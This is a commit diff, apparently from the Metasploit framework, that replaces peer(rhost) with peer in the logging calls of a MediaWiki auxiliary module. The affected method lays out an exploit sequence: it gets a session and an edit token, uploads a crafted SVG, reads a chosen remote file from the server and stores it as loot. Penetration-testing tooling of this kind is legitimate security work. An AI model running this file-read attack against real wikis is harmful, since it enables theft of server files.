Land #3548, peer rhost fix
commit
d9f4a84c16
|
@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def accessfile(rhost)
|
def accessfile(rhost)
|
||||||
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
|
vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
|
||||||
@wiki_session_name, @wiki_session = get_first_session
|
@wiki_session_name, @wiki_session = get_first_session
|
||||||
if @wiki_session.nil?
|
if @wiki_session.nil?
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
|
print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||||
|
|
||||||
if @user and not @user.empty? and @password and not @password.empty?
|
if @user and not @user.empty? and @password and not @password.empty?
|
||||||
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
|
vprint_status("#{peer} MediaWiki - Getting login token...")
|
||||||
@login_token = get_login_token
|
@login_token = get_login_token
|
||||||
if @login_token.nil?
|
if @login_token.nil?
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
|
print_error("#{peer} MediaWiki - Failed to get login token")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
|
vprint_status("#{peer} Logintoken: #{@login_token}")
|
||||||
|
|
||||||
if not authenticate
|
if not authenticate
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
|
print_error("#{peer} MediaWiki - Failed to authenticate")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
|
||||||
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
|
||||||
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
|
vprint_status("#{peer} MediaWiki - Getting edit token...")
|
||||||
@edit_token = get_edit_token
|
@edit_token = get_edit_token
|
||||||
if @edit_token.nil?
|
if @edit_token.nil?
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
|
print_error("#{peer} MediaWiki - Failed to get edit token")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
|
vprint_status("#{peer} Edittoken: #{@edit_token}")
|
||||||
|
|
||||||
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
|
vprint_status("#{peer} MediaWiki - Uploading SVG file...")
|
||||||
@svg_uri = upload_file
|
@svg_uri = upload_file
|
||||||
if @svg_uri.nil?
|
if @svg_uri.nil?
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
|
print_error("#{peer} MediaWiki - Failed to upload SVG file")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
|
vprint_status("#{peer} SVG URI: #{@svg_uri}")
|
||||||
|
|
||||||
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
|
vprint_status("#{peer} MediaWiki - Retrieving remote file...")
|
||||||
loot = read_data
|
loot = read_data
|
||||||
if loot.nil? or loot.empty?
|
if loot.nil? or loot.empty?
|
||||||
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file")
|
print_error("#{peer} MediaWiki - Failed to retrieve remote file")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
f = ::File.basename(datastore['RFILE'])
|
f = ::File.basename(datastore['RFILE'])
|
||||||
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
|
||||||
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
Loading…
Reference in New Issue